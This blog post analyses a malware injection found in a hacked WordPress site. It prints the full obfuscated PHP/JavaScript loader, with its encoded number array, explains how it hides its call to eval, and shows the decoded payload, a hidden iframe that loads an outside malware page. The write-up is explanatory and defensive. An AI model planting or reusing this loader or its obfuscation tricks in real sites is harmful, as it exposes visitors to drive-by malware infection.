Anatomy of a Hack

One of the problems with running blogging software is dealing with hacking attacks. Open projects like Wordpress are great but since the source is open, malicious hackers have everything they need to find vulnerabilities and exploit them. A recent Wordpress hack I came across injected JavaScript into a number of PHP, JavaScript and JSON files. I thought it my be fun to examine how the malware was injected into a site so that it isn’t obvious that it’s there.

When investigating the infected site, the following code mysteriously appeared in the source:

NOTE: I’ve truncated the content of the array below just to make the example shorter.

<?php
if(!$srvc_counter) {
echo "<script type=\"text/javascript\" language=\"javascript\" >
v=\"v\"+\"al\";if(020===0x10&&window.document)try{document.body++}catch(gdsgsdg){asd=0;try{d=document.createElement(\"div\");d.innerHTML.a=\"asd\";}catch(agdsg){asd=1;}if(!asd){w={a:window}.a;v=\"e\".concat(v);}}e=w[\"\"+v];if(1){f=new Array(40,101, …etc… ,41,58);}w=f;s=[];for(i=0;-i+443!=0;i+=1){j=i;if((031==0x19))if(e)s=s+String[\"fromCharCode\"]((1*w[j]+j%3));}try{document.body++}catch(gdsgd){e(s)}</script>";
$srvc_counter = true;
}
?>

This was injected into the source in strategic locations such as the head of html and php files, or directly into js files (without the PHP portion). Reformatting the JavaScript a bit makes it legible and you can get a clearer picture of what’s happening:

v = "v" + "al";
if (020 === 0x10 && window.document) {
    try {
        document.body++
    } catch (gdsgsdg) {
        asd = 0;
        try {
            d = document.createElement("div");
            d.innerHTML.a = "asd";
        } catch (agdsg) {
            asd = 1;
        }
        if (!asd) {
            w = {a:window}.a;
            v = "e".concat(v);
        }
    }
}
e = w["" + v];
if (1) {
    f = new Array(...a bunch of numbers...);
}
w = f;
s = [];
for (i = 0; - i + 443 != 0; i += 1) {
    j = i;
    if ((031 == 0x19)) {
        if (e) {
            s = s + String["fromCharCode"]((1 * w[j] + j % 3));
        }
    }
}
try {
    document.body++
} catch (gdsgd) {
    e(s)
}

So what’s going on here? The basic result is that some arbitrary JavaScript is executed using window.eval() but the author has gone through a lot of trouble the obfuscate that goal. Let’s break it down to see how it works.

First, a string containing “val” is created but, to avoid automated detection of “val”, it’s built using parts of the string:

v = "v" + "al"; 

Next the script does a few tests to see what type of environment it’s running in. Comparing octal 020 (which is 16) to hexadecimal 0x10 (which is also 16) will evaluate to true for JavaScript parsers that support both formats. At the same time it checks for window.document to ensure the window has a document available.

if (020 === 0x10 && window.document)

Once the initial tests pass, the author attempts to increase the value of document.body as if it was an integer by using document.body++. In a regular browser environment this will throw a Error: HIERARCHY_REQUEST_ERR: DOM Exception 3 and continue on in the catch portion. A non-standard JavaScript environment (such as a Java shell or something else) may not throw an exception or could contain a document variable that isn’t a DOM element in which case the script would skip the catch and be disabled.

try {
	document.body++
}

In the browser, the catch continues with more tests to ensure that the createElement method is supported and that the JavaScript engine can alter nodes such as innerHTML.

catch(gdsgsdg) {
	asd=0;
	try {
		d = document.createElement("div"); 
		d.innerHTML.a = "asd";
	} catch( agdsg ) {
		asd = 1;
	}

When those checks all pass then the window object is captured into the w variable and the v variable is updated to contain the word “eval” by prepending e to the beginning.

if (!asd) {
	w = {a:window}.a; 
	v = "e".concat(v);
}

The e and v variables can now be used to get a reference to the window’s eval() method by assigning w[v] to a variable. This allows the script to call eval() using e() and avoid actually writing window.eval():

e = w["" + v];

At this point, the script can use e('whatever') to achieve the same effect as eval('whatever') so all it needs is some malicious code. In this case the malicious code is further hidden away in an “encrypted” array of numbers. The original sample hack contained this:

f=new Array(40,101,115,110,98,114,105,110,108,32,39,39,32,122,11,10,31,30,32,
31,116,97,113,30,98,31,59,32,99,109,99,116,107,101,109,114,46,98,112,101,96,
114,101,68,106,101,108,99,110,115,38,39,104,100,114,96,107,101,38,39,59,12,8,
32,31,30,32,97,44,115,113,97,32,60,30,39,103,114,116,111,56,47,46,113,105,115,
114,97,109,119,103,45,112,117,46,97,111,116,108,116,48,55,46,111,102,112,38,57,
13,9,30,32,31,30,98,45,113,116,120,106,101,45,110,111,114,103,116,104,109,110,
31,59,32,38,95,98,114,109,108,116,114,101,38,57,13,9,30,32,31,30,98,45,113,116,
120,106,101,45,96,111,113,98,101,113,30,61,31,37,48,38,57,13,9,30,32,31,30,98,
45,113,116,120,106,101,45,102,101,104,101,104,115,30,61,31,37,49,111,118,39,58,
11,10,31,30,32,31,96,46,114,114,121,107,99,46,118,103,100,115,102,32,60,30,39,
48,110,120,38,57,13,9,30,32,31,30,98,45,113,116,120,106,101,45,106,101,101,114,
32,60,30,39,48,110,120,38,57,13,9,30,32,31,30,98,45,113,116,120,106,101,45,114,
111,111,30,61,31,37,49,111,118,39,58,11,10,12,8,32,31,30,32,104,100,32,39,31,
100,110,97,117,108,99,110,115,44,103,100,114,69,107,99,109,100,108,116,65,119,
73,99,38,39,97,37,41,40,30,123,12,8,32,31,30,32,31,30,32,31,98,111,98,115,109,
100,108,116,45,117,114,104,114,101,39,37,60,99,103,118,31,103,100,60,90,39,97,
90,39,31,60,60,46,98,105,117,60,39,40,57,13,9,30,32,31,30,32,31,30,32,99,109,
99,116,107,101,109,114,46,102,99,116,68,106,101,108,99,110,115,64,121,72,98,
40,38,96,39,40,44,97,111,110,101,109,98,67,103,103,108,99,38,98,40,57,13,9,
30,32,31,30,125,12,8,125,40,38,41,58); 

Each one of these number represents a ascii character that has been converted to the appropriate numeric char code from the ASCII table. However, to further obfuscate the malicious intent, the numbers have been shifted around so that it’s not as simple as looking up the character in an ASCII table. Thankfully, the code provides the decoding mechanism:

for (i = 0; - i + 443 != 0; i += 1) {
	j = i;
	s = s + String["fromCharCode"]((1 * w[j] + j % 3)); 
}

After executing the for loop the array of numbers is converted into the following string which is then executed with the e() method:

(function () {
var b = document.createElement('iframe');
b.src = 'http://sittanyg.ru/count19.php';
b.style.position = 'absolute';
b.style.border = '0';
b.style.height = '1px';
b.style.width = '1px';
b.style.left = '1px';
b.style.top = '1px';

if (!document.getElementById('b')) {
    document.write('<div id=\'b\' ></div>');
    document.getElementById('b').appendChild(b);
}
})();

So, in the end, the code uses JavaScript to create a hidden iframe that loads the malicious malware page.

The post ‘Anatomy of a Hack’ was first published by Jeffrey Sambells on